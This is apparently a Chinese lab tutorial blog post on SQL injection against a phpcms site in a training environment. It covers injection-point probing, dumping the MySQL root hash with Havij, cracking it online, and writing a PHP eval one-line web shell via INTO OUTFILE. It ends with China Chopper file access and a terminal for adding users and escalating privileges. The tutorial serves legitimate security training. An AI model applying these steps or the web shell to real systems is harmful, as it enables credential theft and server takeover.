首页 > 技术文章 > Web漏洞实例分析-MySQL数据库漏洞利用

miansj 2020-11-17 20:05 原文

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

Mysql数据库漏洞利用

实验目的

通过本实验理解SQL注入基本原理由于过程,掌握菜刀和Havij等注入工具的使用方法,了解SQL注入的危害。通过本实验,掌握SQL注入点识别方法、测试方法、自动化工具使用方法以及进行防御的基本方法。

实验环境

目标靶机:phpcms网站

目标网站phpcms文章管理系统:http://IP:8083

phpstudy:php-mysql-apache组合服务器

测试渗透机:win2k8SvrTester

渗透工具有:中国菜刀、Havij

实验步骤

一、靶机操作

  以用户名360college密码360College登录目标靶机。

1、进入靶机,查看IP地址,此处假设为192.168.0.18。

2、启动phpstudy(桌面图标): 

启动成功时的界面如图所示

如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。

二、远程攻击机操作

1、登录主机时,选择第二个college用户登录。

利用浏览器,访问靶机。http://远程IP:8083

(注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8083)

然后点击其中的一篇文章,如果地址栏出现http://***/xx.php?id=XX,则表明目标网站,采用PHP语言开发。

2、探测目标网站 分别在地址末尾添加单撇号、and 1=1 和 and 1=2 进行注入点探测。

如果单撇号出错、给出数据库信息,and 1=1正确执行,and 1=2显示空页面,则表明存在注入攻击点。

3、利用Havij进行自动化工具注入 在桌面,进入文件夹Tools—渗透工具包---Havij-1.15,运行Havij.exe。

在Target后面的输入栏中,输入看到的目标网站的可注入网址。

注意: (1)Target栏目中,输入内容,必须带上“http://”,并且,一定具有**.php?id=特征。

(2)Database选择项,根据前面出错信息,选择mysql blind(盲注)。其他按图中所示进行选择即可。

(3)点击,Analyze,即可输出各种信息。

第一步:获取信息。点击info,查看基本信息。

第二步:获取数据库,表,列的信息。依次点击TablesGetDBs,得到靶机上的所有数据库信息(如果仅显示一个数据库,等待1分钟左右,再次点击即可),勾选cms数据库,然后点击Get Tables,得到cms数据库中的所有表的信息。

第三步:获取mysql根用户信息 发现有一个mysql数据库和phpmyadmin数据库。mysql是mysql数据库的总数据库,其中可能存在各种数据库的用户信息。phpmyadmin数据库可能是利用了phpmyadmin对网站数据进行管理。

在mysql数据库中,依次通过点击Get Tables,选中user表,点击Get Column,选中user和password列,点击Get Data,找到root用户名和root密码散列值。

第六步:MD5破解 拿到密码散列值之后,去www.cmd5.com进行查询。

此处,如果密码复杂,则需要等待或进行付费查询。

第七步:利用拿到的mysql数据库用户名密码登录数据库管理端。(此处省去该端口扫描发现过程) 访问http://远程IP:8088/,输入用户名密码,进入如下界面:

注意:思路是通过sql注入获取数据库的账号密码,但是登录URL不是sql注入能够探测出来的。可直接输入URL访问.

在数据库列表中,选中cms数据库。然后,在网页中部偏上位置,点击SQL,并执行SQL命令。

select '<?php eval($_POST[cmd]);?>' into outfile 'D:/WWW/cms/include/index.php'

(具体写入目录的绝对路径,根据目标靶机CMS所在实际路径决定)

此处,写入的目录和文件名,网站根目录下面才是cms网站,所以此目录,对应的网址为:

http://ip:8083/include/index.php

利用菜刀连接此地址。

右键添加

输入连接地址http://ip:8083/include/index.php和口令cmd,然后点击右下角添加

鼠标左键双击新添加的选项,此时会弹出新标签页,即和主机连接完成,稍等片刻,就可以看到服务器的磁盘页面了。

即可下载、上传、删除文件等。

如果需要进行用户操作,则右键点击添加条目,选择虚拟终端,弹出类似DOS窗口的webshell。此窗口中可进行用户添加与权限提升。

可以看到,通过SQL注入,得到了目标网站的控制权限。

实验小结

本实验通过对mysql数据库进行渗透,写入一句话,从而实现对网站的控制。因此,SQL注入给WEB带来的危害是非常大的,应该及时对服务器进行加固配置,应用软件及时升级为最新版本。

本教程仅供网站进行渗透测试,请勿用于非法途径!!造成任何危害,均由个人负全责!!

推荐阅读